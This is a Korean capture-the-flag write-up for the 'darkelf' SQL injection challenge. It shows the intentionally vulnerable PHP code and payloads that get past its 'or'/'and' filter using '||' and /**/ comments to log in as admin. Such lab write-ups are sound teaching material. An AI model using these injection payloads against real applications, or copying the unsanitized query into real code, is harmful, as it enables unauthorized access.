문제 코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
highlight_file(__FILE__);
?>이번 문제는 or, and 문자열이 필터링됩니다. 하지만 SQL 논리 연산자는 문자열 키워드 외에도 기호로 표현할 수 있습니다.
exploit
?pw='||id='admin'%23URL 인코딩까지 적용하면 다음처럼 보낼 수 있습니다.
?pw=%27||id=%27admin%27%23최종 쿼리는 아래와 같은 형태가 됩니다.
select id from prob_darkelf where id='guest' and pw=''||id='admin'#'or를 직접 쓰면 HeHe가 출력되므로 ||로 대체합니다. id='admin' 조건이 참인 행이 반환되면 문제가 풀립니다.
주석을 토큰 구분자로 섞는 풀이
darkelf는 공백을 막는 문제는 아니지만, wolfman처럼 주석이 공백 역할을 할 수 있다는 점을 같이 보여줄 수 있습니다. 단, or, and 문자열은 필터링되므로 논리 연산자는 계속 ||를 사용해야 합니다.
?pw='/**/||/**/id='admin'%23URL 인코딩을 명확히 적용하면 다음과 같습니다.
?pw=%27%2F%2A%2A%2F||%2F%2A%2A%2Fid=%27admin%27%23최종 쿼리는 아래와 같은 형태가 됩니다.
select id from prob_darkelf where id='guest' and pw=''/**/||/**/id='admin'#'/**/는 SQL 주석으로 처리되어 토큰 사이의 구분자처럼 동작하고, ||가 or 연산자 역할을 합니다.
배운 내용
or,and키워드가 필터링되면||,&&같은 대체 논리 연산자를 확인합니다./**/블록 주석은 SQL에서 공백처럼 토큰을 분리하는 데 사용할 수 있습니다.- 주석을 섞더라도 필터가 잡는 문자열이 payload 안에 그대로 남아 있으면 차단될 수 있습니다.